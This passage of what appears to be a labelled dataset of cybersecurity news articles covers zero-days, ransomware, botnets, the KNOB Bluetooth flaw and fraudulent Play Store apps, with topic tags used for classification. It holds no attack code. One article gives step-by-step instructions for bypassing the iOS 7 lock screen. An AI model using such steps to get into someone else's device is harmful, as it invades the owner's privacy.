A week before that, GuardiCore researchers discovered a new botnet malware, dubbed BondNet, that was also infecting Windows systems, with a combination of techniques, for primarily mining Monero.

",Malware
MongoDB phpMoAdmin GUI Tool Zero-day Vulnerability Puts Websites at Risk,https://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html,"About two weeks back, over 40,000 organizations running MongoDB were found unprotected and vulnerable to hackers. Now, once again the users of MongoDB database are at risk because of a critical zero-day vulnerability making rounds in underground market.

MongoDB, one of the leading NoSQL databases, is an open-source database used by companies of all sizes, across all industries for a wide variety of applications. By leveraging in-memory computing, MongoDB provides high performance for both reads and writes.

'PhPMoAdmin' ZERO-DAY VULNERABILITY
Hacker known by the online moniker, ""sp1nlock"" has found a zero-day vulnerability in 'phpMoAdmin', a free, open-source, written in PHP, AJAX-based MongoDB GUI (graphical user interface) administration tool that allows you to easily manage noSQL database MongoDB.

According to multiple posts available on the exploit selling underground forums, the phpMoAdmin is vulnerable to a Zero-Day Remote Code Execution flaw that allows an unauthorized remote user to hijack the websites running phpMoAdmin tool.

0-DAY EXPLOIT AVAILABLE AND IT WORKS
At the time of writing, we have no idea that phpMoAdmin developers are aware of the this zero-day vulnerability or not, but this exploit is already for sale on underground exploits forums and has already been verified by the market administrators that — It Works!

It might be possible that number of buyers and hackers already have access to the phpMoAdmin zero-day exploit and, unfortunately, there is no patch yet available for thousands of vulnerable websites.

HOW TO PROTECT MONGO DATABASE ?
In order to protect yourself, users of MongoDB database are recommended to avoid using phpMoAdmin until the developer team releases a patch for the zero-day remote code execution vulnerability.

As an alternate to the phpMoAdmin, you can make use of other free MongoDB GUI Tools available, as follows:
RockMongo – A Powerful MongoDB GUI Tool
MongoVUE – A Desktop based MongoDB GUI Tool
Mongo-Express – A well featured MongoDB GUI Tool
UMongo – A Decent MongoDB GUI Tool
Genghis – A lightweight MongoDB GUI Tool
However, if you don't want to replace your phpMoAdmin file, then the simplest approach would be to restrict unauthorized access using htaccess password i.e. creating '.htpasswd' authentication for folder containing ""moadmin.php"" file.

",Vulnerability
'Highly Critical' Unpatched Zero-Day Flaw Discovered In Oracle WebLogic,https://thehackernews.com/2019/04/oracle-weblogic-hacking.html,"A team of cybersecurity researchers today published a post warning enterprises of an unpatched, highly critical zero-day vulnerability in Oracle WebLogic server application that some attackers might have already started exploiting in the wild.

Oracle WebLogic is a scalable, Java-based multi-tier enterprise application server that allows businesses to quickly deploy new products and services on the cloud. It's popular across both, cloud environment and conventional environments.

Oracle WebLogic application reportedly contains a critical deserialization remote code execution vulnerability that affects all versions of the software, which can be triggered if the ""wls9_async_response.war"" and ""wls-wsat.war"" components are enabled.

The vulnerability, spotted by the researchers from KnownSec 404, allows attackers to remotely execute arbitrary commands on the affected servers just by sending a specially crafted HTTP request—without requiring any authorization.


""Since the WAR package has a defect in deserializing the input information, the attacker can obtain the authority of the target server by sending a carefully constructed malicious HTTP request, and execute the command remotely without authorization,"" explains Chinese National Information Security Vulnerability Sharing Platform (CNVD).
The researchers also shared details of the zero-day vulnerability, tracked as CNVD-C-2019-48814, with the Oracle's team, but the company has not yet released a patch. The affected Oracle WebLogic versions are as follows:

WebLogic 10.X
WebLogic 12.1.3

According to the ZoomEye cyberspace search engine, more than 36,000 WebLogic servers are publicly accessible on the Internet, though it's unknown how many of these have the vulnerable components enabled.

A maximum number of Oracle WebLogic servers are deployed in the United States and China, with a lesser number in Iran, Germany, India, and so on.
Since Oracle releases security updates every three months and had already released a Critical Patch Update just this month, this zero-day issue is unlikely to be patched anytime soon (i.e., not before July), unless the company decides to roll out an out-of-band security update.

So, until the company releases an update to patch the vulnerability, server administrators are highly recommended to prevent their systems from exploitation by changing either of the two following settings:
Finding and deleting wls9_async_response.war, wls-wsat.war and restarting the Weblogic service, or
Preventing access to the /_async/* and /wls-wsat/* URL paths via access policy control.
Since Oracle WebLogic servers are an often target of attackers, there will be no surprise if attackers have already started exploiting this zero-day and then use vulnerable servers for their nefarious purposes.

",Vulnerability
DDoSing Hospital Networks Landed This Hacktivist in Jail for Over 10 Years,https://thehackernews.com/2019/01/ddos-attack-anonymous-hacker.html,"A simple DDoS attack could land you in jail for 10 years or even more.

A Massachusetts man has been sentenced to over 10 years in prison for launching DDoS attacks against the computer network of two healthcare organizations in 2014 to protest the treatment of a teenager at the centers.

Beyond serving 121 months in prison, Martin Gottesfeld, 34, was also ordered by U.S. District Judge Nathaniel Gorton to pay nearly $443,000 in restitution for damages he caused to the targeted facilities.

Gottesfeld carried out the DDoS attacks on behalf of the Anonymous hacker collective against Boston Children's Hospital (BCH) and Wayside Youth & Family Support Network—a nonprofit home treatment facility that provides a range of mental health counselings to children, young adults, and families in Massachusetts.

In April 2014, the hacker used a botnet of over 40,000 network routers that he infected with customized malicious software to carry out the DDoS attacks that not only knocked BCH off the internet but also knocked down several other hospitals in the Longwood Medical Area.

The DDoS attacks crippled Wayside Youth and Family Support Network for more than a week, causing the facility to spend $18,000 on response and mitigation efforts.

However, the cyberattacks on BCH was terrible which disrupted the BCH network for at least two weeks, crippling the hospital's day-to-day operations and its research capabilities that eventually costed the facility a total of over $600,000 in damages.

Gottesfeld has been in custody since February 2016 when he was arrested in Miami after he and his wife attempted to flee Massachusetts on a small boat, which was then rescued after being disabled off the coast of Cuba by a nearby Disney Cruise Ship.

Gottesfeld was convicted in August last year when a federal jury found him guilty of two counts, including conspiracy to intentionally damage protected computers and conspiracy to damage protected computers.

Gottesfeld represented himself at the hearing on Thursday at the U.S. District court in Boston and said he planned to appeal but had no regrets, according to Reuters.

""It was your arrogance and misplaced pride that has been on display in this case from the very beginning that led you to believe you know more than the doctors at Boston Children's Hospital,"" Judge Gorton said.

Gottesfeld argued that he carried out the attacks to protest the reportedly abusive treatment of teenage patient Justina Pelletier, who was the subject of a high-profile custody battle between her parents and the Commonwealth of Massachusetts.

BCH and Pelletier's parents entered a dispute over a diagnosis of their daughter and a judge awarded the teen's custody to the state of Massachusetts. After her diagnosis, Pelletier was later moved to Wayside Youth & Family Support Network and 16 months later, she was released to her parents on the court order.

Gottesfeld told Judge Gorton that he made a big difference in Pelletier's life and urged the judge to sentence him to time served, adding that ""My only regret is that I didn't get to Justina sooner. I wish I had done more.""

Assistant U.S. Attorney David D'Addio also called Gottesfeld a ""self-aggrandizing menace"" who put children's lives at risk and even believed that he could strike again once released from prison.

Gottesfeld's wife has planned to appeal the court hearing.

",Cyber_Attack
Adobe Reader PDF-tracking vulnerability reveals when and where PDF is opened,https://thehackernews.com/2013/04/adobe-reader-pdf-tracking-vulnerability.html,"McAfee said it has found a vulnerability in Adobe Systems' Reader program that reveals when and where a PDF document is opened. The issue emerges when some users launch a link to another file path, which calls on a JavaScript application programming interface (API), while Reader alerts a user when they are going to call on a resource from another place.

The issue is not a serious problem and does not allow for remote code execution, but McAfee does consider it a security problem and has notified Adobe. It affects every version of Adobe Reader, including the latest version, 11.0.2.

""We have detected some PDF samples in the wild that are exploiting this issue. Our investigation shows that the samples were made and delivered by an 'email tracking service' provider. We don't know whether the issue has been abused for illegal or APT attacks,"" wrote McAfee's Haifei Li.


McAfee declined to reveal the details of the vulnerability as Adobe is yet to release a patch for it. The vendor said that it has already detected a number of groups and people exploiting it, potentially for malicious purposes.

""Malicious senders could exploit this vulnerability to collect sensitive information such as IP address, Internet service provider or even the victim's computing routine. In addition, our analysis suggests that more information could be collected by calling various PDF JavaScript APIs.""

McAfee suggests that Adobe Reader users disable JavaScript until a patch is released.

",Vulnerability
iPhone's iOS 7 Lockscreen hack allows to bypass Security,https://thehackernews.com/2013/09/iphones-ios-7-lockscreen-hack-allows-to.html,"Like most iOS lock screen vulnerabilities, the passcode lock screen on iOS 7 also suffers from a bug that allows anyone with direct access to the iPhone or iPad.

Although Apple claims to have fixed 80 security vulnerabilities with iOS 7, including the ability to bypass the lock screen in iOS 6.1.3, the same person who found the previous vulnerability has found yet another in iOS 7.

Discovered by 'Jose Rodriquez', an iPhone user reported a security flaw in iOS that lets anyone bypass the lockscreen passcode and access sensitive information stored in photos, Twitter, email and more.

The flaw resides on users who lock their devices with a traditional PIN code or password. The security flaw is demonstrated in the video below and it works as follows:
Swipe up from the bottom of the Lock screen to open Control Center and Launch the Clock app.
Open the Alarm Clock section of the Clock app and Hold down the power button.
Quickly tap Cancel the immediately double-click the Home button and Hold down for a bit longer on the second click.
From here you can access the camera and stored photos. You can share these photos on Facebook, Twitter, Flickr or via email.
The exploit has been tested successfully on iOS 7 when running on the iPhone 4S, 5, 5C, and 5S, and the most recent iPad model.

Until an official fix is available from Apple, iOS 7 users can avoid this security hole by disabling the control center of the lock screen in their device settings.

Update (5:02 PM Thursday, September 26, 2013 GMT) : Apple has just released iOS 7.0.2, a new update delivering several changes including a fix for a lock screen passcode vulnerability.


",Vulnerability
Hackers Breached Colonial Pipeline Using Compromised VPN Password,https://thehackernews.com/2021/06/hackers-breached-colonial-pipeline.html,"The ransomware cartel that masterminded the Colonial Pipeline attack early last month crippled the pipeline operator's network using a compromised virtual private network (VPN) account password, the latest investigation into the incident has revealed.
The development, which was reported by Bloomberg on Friday, involved gaining an initial foothold into the networks as early as April 29 through the VPN account, which allowed employees to access the company's networks remotely.
The VPN login — which didn't have multi-factor protections on — was unused but active at the time of the attack, the report said, adding the password has since been discovered inside a batch of leaked passwords on the dark web, suggesting that an employee of the company may have reused the same password on another account that was previously breached.
It's, however, unclear how the password was obtained, Charles Carmakal, senior vice president at the cybersecurity firm Mandiant, was quoted as saying to the publication. The FireEye-owned subsidiary is currently assisting Colonial Pipeline with the incident response efforts following a ransomware attack on May 7 that led to the company halting its operations for nearly a week.
DarkSide, the cybercrime syndicate behind the attack, has since disbanded, but not before stealing nearly 100 gigabytes of data from Colonial Pipeline in the act of double extortion, forcing the company to pay a $4.4 million ransom shortly after the hack and avoid disclosure of sensitive information. The gang is estimated to have made away with nearly $90 million during the nine months of its operations.
The Colonial Pipeline incident has also prompted the U.S. Transportation Security Administration to issue a security directive on May 28 requiring pipeline operators to report cyberattacks to the Cybersecurity and Infrastructure Security Agency (CISA) within 12 hours, in addition to mandating facilities to submit a vulnerability assessment identifying any gaps in their existing practices within 30 days.
The development comes amid an explosion of ransomware attacks in recent months, including that of Brazilian meat processing company JBS last week by Russia-linked REvil group, underscoring a threat to critical infrastructure and introducing a new point of failure that has had a severe impact on consumer supply chains and day-to-day operations, leading to fuel shortages and delays in emergency health procedures.
As the ransom demands have ballooned drastically, inflating from thousands to millions of dollars, so have the attacks on high-profile victims, with companies in energy, education, healthcare, and food sectors increasingly becoming prime targets, in turn fueling a vicious cycle that enables cybercriminals to seek the largest payouts possible.
The profitable business model of double extortion — i.e., combining data exfiltration and ransomware threats — have also resulted in attackers expanding on the technique to what's called triple extortion, wherein payments are demanded from customers, partners, and other third-parties related to the initial breach to demand even more money for their crimes.
Worryingly, this trend of paying off criminal actors has also set off mounting concerns that it could establish a dangerous precedent, further emboldening attackers to single out critical infrastructure and put them at risk.
REvil (aka Sodinokibi), for its part, has begun incorporating a new tactic into its ransomware-as-a-service (RaaS) playbook that includes staging distributed denial-of-service (DDoS) attacks and making voice calls to the victim's business partners and the media, ""aimed at applying further pressure on the victim's company to meet ransom demands within the designated time frame,"" researchers from Check Point disclosed last month.
""By combining file encryption, data theft, and DDoS attacks, cybercriminals have essentially hit a ransomware trifecta designed to increase the possibility of payment,"" network security firm NetScout said.
The disruptive power of the ransomware pandemic has also set in motion a series of actions, what with the U.S. Federal Bureau of Investigation (FBI) making the longstanding problem a ""top priority."" The Justice Department said it's elevating investigations of ransomware attacks to a similar priority as terrorism, according to a report from Reuters last week.
Stating that the FBI is looking at ways to disrupt the criminal ecosystem that supports the ransomware industry, Director Christopher Wray told the Wall Street Journal that the agency is investigating nearly 100 different types of ransomware, most of them traced backed to Russia, while comparing the national security threat to the challenge posed by the September 11, 2001 terrorist attacks.
Update: In a Senate committee hearing on June 8, Colonial Pipeline CEO Joseph Blount said that the ransomware attack that disrupted gasoline supply in the U.S. started with the attackers exploiting a legacy VPN profile that was not intended to be in use. ""We are still trying to determine how the attackers gained the needed credentials to exploit it,"" Blunt said in his testimony.
Besides shutting down the legacy VPN profile, Blunt said extra layers of protection have been implemented across the enterprise to bolster its cyber defenses. ""But criminal gangs and nation states are always evolving, sharpening their tactics, and working to find new ways to infiltrate the systems of American companies and the American government. These attacks will continue to happen, and critical infrastructure will continue to be a target,"" he added.

",Malware
Live Cybersecurity Webinar — Deconstructing Cobalt Strike,https://thehackernews.com/2021/06/live-cybersecurity-webinar.html,"Organizations' cybersecurity capabilities have improved over the past decade, mostly out of necessity. As their defenses get better, so do the methods, tactics, and techniques malicious actors devise to penetrate their environments.
Instead of the standard virus or trojan, attackers today will deploy a variety of tools and methods to infiltrate an organization's environment and attack it from the inside.
In an interesting twist of fate, one of the tools organizations have used to audit and improve their defenses has also become a popular tool attackers use to infiltrate. Cobalt Strike is an Adversary Simulation and Red Team Operations tool that allows organizations to simulate advanced attacks and test their security stacks in a close-to-real-world simulation.
A new research webinar from XDR provider Cynet (register here) offers a better look at Cobalt Strike. The webinar, led by Cyber Operations Analyst for the Cynet MDR Team Yuval Fischer, will take a deep dive into the threat.
As a simulation, it is impressive in its capabilities, and it's prized for being highly customizable. All these traits have also made it an effective attack tool for actual malicious actors. Cobalt Strike is a C2 server that offers highly sophisticated and easy-to-use features, and the past year has seen a huge jump in the number of recorded Cobalt Strike attacks in the wild. In fact, a study by Recorded Future's Insikt Group found that Cobalt Strike was the most commonly deployed C2 server in malicious attacks.
One of the biggest reasons Cobalt Strike has become so widespread is its various capabilities, which include:
Reconnaissance on client-side software usage, as well as version vulnerabilities
A variety of attack packages that include social engineering, trojans, and masquerading tools
Collaboration tools that let group host share data with a group of attackers
Post exploitation tools to deploy scripts, log keystrokes and execute other payloads
Covert communication tools that let teams modify network indicators on the go
Browser pivoting to circumvent
Additionally, Cobalt Strike uses Beacon, a powerful delivery mechanism that can be transmitted over various protocols, and hide by modifying its network signature, emulating other types of malware, and even masquerading as legitimate traffic.
Even so, Cobalt Strike is not undetectable. However, it requires a variety of techniques to detect it properly. This includes things like examining default TLS certificates, searching for open ports, And performing HTTP requests to find non-existent pages. Even then, most organizations require advanced tools actually to defend against Cobalt Strike..
The new research webinar dives deeper into Cobalt Strike. It does so by exploring a few areas:
The basics of Cobalt Strike as an attack tool. This includes breaking down how it works, what makes it so effective, and how malicious actors have modified, customized, and upgraded it to become more dangerous.
Instances in the wild. More than any theoretical research, live case studies provide the greatest insights into how Cobalt Strike operates and succeeds in penetrating organizations' defenses.
A deeper dive into Cobalt Strike's capabilities and deployment tools. The webinar will also dive deeper into Cobalt Strike's different functionalities, how they're deployed, and what they actually do.
How organizations can defend against Cobalt Strike. Finally, the webinar will touch on the ways organizations can detect and defend against Cobalt Strike, and how they can mitigate the impact of a successful initial infiltration.
You can register here for the webinar.

",Malware
New Bluetooth Vulnerability Lets Attackers Spy On Encrypted Connections,https://thehackernews.com/2019/08/bluetooth-knob-vulnerability.html,"Over a billion Bluetooth-enabled devices, including smartphones, laptops, smart IoT devices, and industrial devices, have been found vulnerable to a high severity vulnerability that could allow attackers to spy on data transmitted between the two devices.

The vulnerability, assigned as CVE-2019-9506, resides in the way 'encryption key negotiation protocol' lets two Bluetooth BR/EDR devices choose an entropy value for encryption keys while pairing to secure their connection.

Referred to as the Key Negotiation of Bluetooth (KNOB) attack, the vulnerability could allow remote attackers in close proximity to targeted devices to intercept, monitor, or manipulate encrypted Bluetooth traffic between two paired devices.

The Bluetooth BR/EDR (Basic Rate/Enhanced Data Rate, also known as ""Bluetooth Classic"") is a wireless technology standard that has typically been designed for relatively short-range, continuous wireless connection such as streaming audio to headsets or portable speakers.

From the security point of view, the core specification of Bluetooth BR/EDR protocol supports encryption keys with entropy between 1 and 16 bytes/octets, where the higher value means more security.

However, researchers find that the entropy negotiation, which devices perform over the Link Manager Protocol (LMP), is neither encrypted nor authenticated, and can be hijacked or manipulated over-the-air.

How Does Bluetooth BR/EDR Key Negotiation Vulnerability Work?

The newly discovered Bluetooth vulnerability could allow a remote attacker to trick two targeted devices into agreeing on an encryption key with only 1 byte (8 bits) of entropy, eventually making it easy to brute-force the negotiated encryption keys.

""For example, assume that there are two controllers attempting to establish a connection: Alice and Bob. After authenticating the link key, Alice proposes that she and Bob use 16 bytes of entropy. This number, N, could be between 1 and 16 bytes. Bob can either accept this, reject this and abort the negotiation, or propose a smaller value,"" explains an advisory published by the CERT Coordination Center.

""Bob may wish to propose a smaller N value because he (the controller) does not support the larger amount of bytes proposed by Alice. After proposing a smaller amount, Alice can accept it and request to activate link-layer encryption with Bob, which Bob can accept.""

However, by exploiting the reported vulnerability ""an attacker, Charlie, could force Alice and Bob to use a smaller N by intercepting Alice's proposal request to Bob and changing N.""

Once decrypted, the attacker can passively capture encrypted messages being transmitted over the Bluetooth traffic, decrypt the ciphertext and inject valid valid ciphertext, all in real-time and stealthy.

Besides this, it is also important to note that, for an attack to be successful:

both Bluetooth devices must be establishing a BR/EDR connection,
both Bluetooth devices must be vulnerable to this flaw,
the attacker should be able to block direct transmissions between devices while pairing, and
the attack must be performed during negotiation or renegotiation of a paired device connection; existing sessions cannot be attacked.

Moreover, the official advisory released by Bluetooth.com also says, ""Since not all Bluetooth specifications mandate a minimum encryption key length, it is possible that some vendors may have developed Bluetooth products where the length of the encryption key used on a BR/EDR connection could be set by an attacking device down to a single octet.""

Affected Vendors/Software/OS and Patch Updates

This vulnerability was discovered by a team of researchers including Daniele Antonioli from SUTD, Dr. Nils Ole Tippenhauer from CISPA and Prof. Kasper Rasmussen from the University of Oxford.

""We evaluate the KNOB attack on more than 14 Bluetooth chips from different vendors such as Intel, Broadcom, Apple, and Qualcomm. All the chips accept 1 byte of entropy except the Apple W1 chip that accepts (at least) 7 bytes of entropy,"" the researchers said in a detailed paper [PDF] released yesterday.

To mitigate KNOB attack, the maintainers of the Bluetooth specifications have strongly recommended device manufacturers and software vendors to enforce a minimum encryption key length of 7 octets for BR/EDR connections.

To patch this vulnerability, various affected vendors have already started releasing security updates for their operating systems, firmware, and software, including:

Microsoft for Windows
Cisco for IP Phones and Webex
Google for Android
Apple for macOS, iOS, and watchOS
BlackBerry

",Vulnerability
WikiLeaks Reveals CIA's Grasshopper Windows Hacking Framework,https://thehackernews.com/2017/04/wikileaks-cia-malware.html,"As part of its Vault 7 series of leaked documents, whistleblowing website WikiLeaks today released a new cache of 27 documents allegedly belonged to the US Central Intelligence Agency (CIA).

Named Grasshopper, the latest batch reveals a CLI-based framework developed by the CIA to build ""customised malware"" payloads for breaking into Microsoft's Windows operating systems and bypassing antivirus protection.

All the leaked documents are basically a user manual that the agency flagged as ""secret"" and that are supposed to be only accessed by the members of the agency, WikiLeaks claims.

Grasshopper: Customized Malware Builder Framework

According to the leaked documents, Grasshopper framework allows the agency members to easily create custom malware, depending upon the technical details, such as what operating system and antivirus the targets are using.

The Grasshopper framework then automatically puts together several components sufficient for attacking the target, and finally, delivers a Windows installer that the agency members can run on a target's computer and install their custom malware payloads.
""A Grasshopper executable contains one or more installers. An installer is a stack of one or more installer components,"" the documentation reads. ""Grasshopper invokes each component of the stack in series to operate on a payload. The ultimate purpose of an installer is to persist a payload.""
The whistleblowing website claimed the Grasshopper toolset was allegedly designed to go undetected even from the anti-virus products from the world's leading vendors including Kaspersky Lab, Symantec, and Microsoft.

CIA's Grasshopper Uses 'Stolen' Russian Malware

According to WikiLeaks, the CIA created the Grasshopper framework as a modern cyber-espionage solution not only to be as easy to use as possible but also ""to maintain persistence over infected Microsoft Windows computers.""
""Grasshopper allows tools to be installed using a variety of persistence mechanisms and modified using a variety of extensions (like encryption),"" Wikileaks said in the press release.
One of the so-called persistence mechanisms linked to Grasshopper is called Stolen Goods (Version 2), which shows how the CIA adapted known malware developed by cyber criminals across the world and modified it for its own uses.

One such malware is ""Carberp,"" which is a malware rootkit developed by Russian hackers.
""The persistence method and parts of the installer were taken and modified to fit our needs,"" the leaked document noted. ""A vast majority of the original Carberp code that was used has been heavily modified. Very few pieces of the original code exist unmodified.""
It is not yet clear how recently the CIA has used the hacking tools mentioned in the documentation, but WikiLeaks says the tools were used between 2012 and 2015.

So far, Wikileaks has revealed the ""Year Zero"" batch which uncovered CIA hacking exploits for popular hardware and software, the ""Dark Matter"" batch which focused on exploits and hacking techniques the agency designed to target iPhones and Macs, and the third batch called ""Marble.""

Marble revealed the source code of a secret anti-forensic framework, basically an obfuscator or a packer used by the CIA to hide the actual source of its malware.

",Cyber_Attack
CVE-2013-3906 : Zero Day Vulnerability in Microsoft Graphics Component,https://thehackernews.com/2013/11/cve-2013-3906-zero-day-vulnerability-Microsoft-Graphics-Component.html,"Microsoft has issued a temporary fix for a 0day vulnerability that can be exploited to install malware via infected Word documents.

A Zero-day Remote code execution flaw, which has been dubbed CVE-2013-3906, exploits a vulnerability in a Microsoft graphics component, to target Microsoft Office users running Windows Vista and Windows Server 2008.
""The vulnerability is a remote code execution vulnerability that exists in the way affected components handle specially crafted TIFF images,"" it said in the post. Vulnerability was reported to Microsoft by McAfee Labs senior security researcher Haifei Li.

A successful infection can give an attacker complete control over a system. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

Currently the company is only aware of targeted attacks mostly in the Middle East and South Asia, with attackers sending unsuspecting victims crafted Word documents with a tainted attachment.

""An attacker could exploit this vulnerability by convincing a user to preview or open a specially crafted email message, open a specially crafted file, or browse specially crafted web content.""

According to Microsoft, the exploit combines multiple techniques to bypass exploit mitigation techniques such as ASLR (DEP) and address space layout randomization (ASLR).

The affected products are:
Windows Vista x86, x64
Windows Server 2008 x86, x64, Itanium, Server Core
Microsoft Office 2003
Microsoft Office 2007
Microsoft Office 2010 x86, x64
Microsoft Office Compatibility Pack
Microsoft Lync 2010 x86, x64
Microsoft Lync 2010 Attendee
Microsoft Lync 2013 x86, x64
Microsoft Lync Basic 2013 x86, x64
Windows 7 and 8 and Office 2013 and Office 365 are not affected.

Microsoft released a temporary 'Fix it' workaround that could block the attack by blocking rendering of the vulnerable TIFF graphic format by way of a registry key.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Gdiplus\DisableTIFFCodec = 1

The Enhanced Mitigation Experience Toolkit (EMET) helps mitigate the exploitation of this vulnerability by adding additional protection layers that make the vulnerability harder to exploit.

",Vulnerability
HTML5 browser exploit can flood your Hard Drive with junk data,https://thehackernews.com/2013/03/html5-browser-exploit-can-flood-your.html,"Feross Aboukhadijeh, 22-year-old Web developer from Stanford has discovered HTML5 browser exploit can flood your Hard Drive with Cat and Dogs i.e junk data.

Many times a website needs to leave a little data i.e 5-10KB on your computer like a cookie, but HTML5 allow sites to store larger amounts of data (like 5-10 MB). In a proof-of-concept he was able to full up 1 GB of HDD space every 16 seconds.

He created FillDisk.com in order to demonstrate the exploit in HTML5. Once user will visit the website the Web Storage standard allows website to place large amounts of data on your drive. Please note that, It's not a hack and this exploit won't allow attackers to access your computer.


However, Web browsers have the ability to limit just how much space websites can dump onto your hard drive. Firefox's implementation of HTML5 local storage is not vulnerable to this exploit. Whereas Chrome, Safari (iOS and desktop), and IE vulnerable to this.


You can find the source code here. Feross already logged the bug for Chrome and Safari, so the problem there should be fixed soon.

",Vulnerability
Airplanes Can Be Hacked Through Wireless In-flight Entertainment System,https://thehackernews.com/2014/08/airplanes-can-be-hacked-through_4.html,"Almost a year ago, at the 'Hack In The Box' security summit in Amsterdam, a security researcher at N.Runs and a commercial airline pilot, Hugo Teso presented a demonstration that it's possible to take control of aircraft flight systems and communications using an Android smartphone and some specialized attack code.

Quite similar to the previous one, a security researcher claims to have devised a method that can give cyber criminals access to the satellite communications equipment on passenger jets through their WiFi and in-flight entertainment systems.

Cyber security expert Ruben Santamarta, a consultant with cyber security firm IOActive, will unveil his research and all the technical details this week at a major Las Vegas hacker convention, Black Hat conference, showing How commercial airliner satellite communication systems can also be compromised by hackers, along with the evidence of satellite communications system vulnerabilities that questions the standards these systems are using.

Santamarta research paper titled ""SATCOM Terminals: Hacking by Air, Sea and Land"" explains that ships, aircraft and industrial facilities are all at risk of being compromised — perhaps with catastrophic results.
""We live in a world where data is constantly flowing. It is clear that those who control communications traffic have a distinct advantage. The ability to disrupt, inspect, modify or re-route traffic provides an invaluable opportunity to carry out attacks,"" Santamarta wrote in his paper.
Till now, it's just a claim, but if confirmed, could prompt a comprehensive restructure of aircraft security and other SATCOM terminals, and cast review on the way its electronic security have been managed in the past.

According to the researcher's abstract of the talk made public, he will explain how devices sold by the world's leading SATCOM vendors contain significant security flaws. IOActive also claimed to have determined that ""100 percent of the devices could be abused"" by an array of attack vectors.
""In certain cases no user interaction is required to exploit the vulnerability, just sending a simple SMS or specially crafted message from one ship to another ship can do it."" Santamarta wrote in the description to his talk. He told Reuters, ""These devices are wide open. The goal of this talk is to help change that situation.""
Many of SATCOM vendors systems have hardcoded log-in credentials — same credentials used in multiple systems — giving hackers potential to steal credentials from one system and use them to access other systems, as a result of it, hackers can disable the communications and can interfere with the plane's navigation.

The researcher discovered the vulnerabilities by ""reverse engineering"" the highly specialized software known as firmware, used to operate communications equipment made by Cobham Plc, Harris Corp, EchoStar Corp's Hughes Network Systems, Iridium Communications Inc and Japan Radio Co Ltd.

Meanwhile, he discovered a theory that a hacker could leverage a plane's onboard Wi-Fi signal or in-flight entertainment system to hack into its avionics equipment. This could allow them to disrupt or modify the plane's satellite communications, potentially interfering with the aircraft's navigation and safety systems.

However, it is really important to note that just because a security researcher can perform the hack, doesn't mean hackers are doing it or can easily perform it, too. Santamarta has also acknowledged that his hacks proving the theory have been carried out in controlled test, and he is not sure how practical the hack would be in the real world.

Furthermore, in the abstract of his talk, we are not provided any technical details or any specific details of the exploit, so we are required to wait until Santamarta's presentation later this week.

Still, a good news for those companies that make such equipments is that the researcher plans to reveal all the possible details of the exploit in his presentation to help them fix the issues in their vulnerable equipment.

",Vulnerability
"Over 750,000 Users Downloaded New Billing Fraud Apps From Google Play Store",https://thehackernews.com/2021/04/over-750000-users-download-new-billing.html,"Researchers have uncovered a new set of fraudulent Android apps in the Google Play store that were found to hijack SMS message notifications for carrying out billing fraud.
The apps in question primarily targeted users in Southwest Asia and the Arabian Peninsula, attracting a total of 700,000 downloads before they were discovered and removed from the platform.
The findings were reported independently by cybersecurity firms Trend Micro and McAfee.
""Posing as photo editors, wallpapers, puzzles, keyboard skins, and other camera-related apps, the malware embedded in these fraudulent apps hijack SMS message notifications and then make unauthorized purchases,"" researchers from McAfee said in a Monday write-up.
The fraudulent apps belong to the so-called ""Joker"" (aka Bread) malware, which has been found to repeatedly sneak past Google Play defenses over the past four years, resulting in Google removing no fewer than 1,700 infected apps from the Play Store as of early 2020. McAfee, however, is tracking the threat under a separate moniker named ""Etinu.""
The malware is notorious for perpetrating billing fraud and its spyware capabilities, including stealing SMS messages, contact lists, and device information. The malware authors typically employ a technique called versioning, which refers to uploading a clean version of the app to the Play Store to build trust among users and then sneakily adding malicious code at a later stage via app updates, in a bid to slip through the app review process.
The additional code injected serves as the first-stage payload, which masquerades as seemingly innocuous .PNG files and establishes with a command-and-control (C2) server to retrieve a secret key that's used to decrypt the file to a loader. This interim payload then loads the encrypted second payload that's ultimately decrypted to install the malware.
McAfee's investigation of the C2 servers revealed users' personal information, including carrier, phone number, SMS message, IP address, country, network status, along with auto-renewing subscriptions.
The list of nine apps is below -
Keyboard Wallpaper (com.studio.keypaper2021)
PIP Photo Maker (com.pip.editor.camera)
2021 Wallpaper and Keyboard (org.my.favorites.up.keypaper)
Barber Prank Hair Dryer, Clipper and Scissors (com.super.color.hairdryer)
Picture Editor (com.ce1ab3.app.photo.editor)
PIP Camera (com.hit.camera.pip)
Keyboard Wallpaper (com.daynight.keyboard.wallpaper)
Pop Ringtones for Android (com.super.star.ringtones)
Cool Girl Wallpaper/SubscribeSDK (cool.girly.wallpaper)
Users who have downloaded the apps are urged to check for any unauthorized transactions while also taking steps to watch out for suspicious permissions requested by apps and carefully scrutinize apps before they are installed on the devices.
""Judging by how Joker operators repeatedly ensure the malware's persistence in Google Play even after being caught numerous times, most probably there are ways [the operators] are profiting from this scheme,"" Trend Micro researchers said.

",Malware
Hackers Compromise T-Mobile Employee' Email Accounts and Steal User' Data,https://thehackernews.com/2020/03/hackers-compromise-t-mobile-employees.html,"If you are a T-Mobile customer, this news may concern you.

US-based telecom giant T-Mobile has suffered yet another data breach incident that recently exposed personal and accounts information of both its employees and customers to unknown hackers.

What happened? In a breach notification posted on its website, T-Mobile today said its cybersecurity team recently discovered a sophisticated cyberattack against the email accounts of some of its employees that resulted in unauthorized access to the sensitive information contained in it, including details for its customers and other employees.

Although the telecom company did not disclose how the breach happened, when it happened, and exactly how many employees and users were affected, it did confirm that the leaked information on its users doesn't contain financial information like credit card and Social Security numbers.

What type of information was accessed? The exposed data of an undisclosed number of affected users include their:


names,
phone numbers,
account numbers,
rate plans and features, and
billing information.


What is T-Mobile now doing? The company took necessary steps to shut down the unauthorized access upon discovery and immediately notified law enforcement of the security breach incident.

T-Mobile also immediately launched a forensic investigation to determine the extent of the breach incident, a report of which is expected to be released soon..

""We regret that this incident occurred. We take the security of your information very seriously, and while we have a number of safeguards in place to protect customer information from unauthorized access, we are also always working to further enhance security so we can stay ahead of this type of activity,"" the company said.

The company is notifying affected customers of the breach incident.

What should you do now? Though T-Mobile said it does not have any evidence of the stolen information being used to commit fraud or otherwise misused, it still advises users to change PIN/passcode to access their accounts as a precaution.

Affected customers should also be suspicious of phishing emails, which are usually the next step of cybercriminals in an attempt to trick users into giving away their passwords and credit card information.

Although the T-Mobile data breach incident did not expose any financial information of affected customers, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements for any unusual activity and report to the bank if you find any.

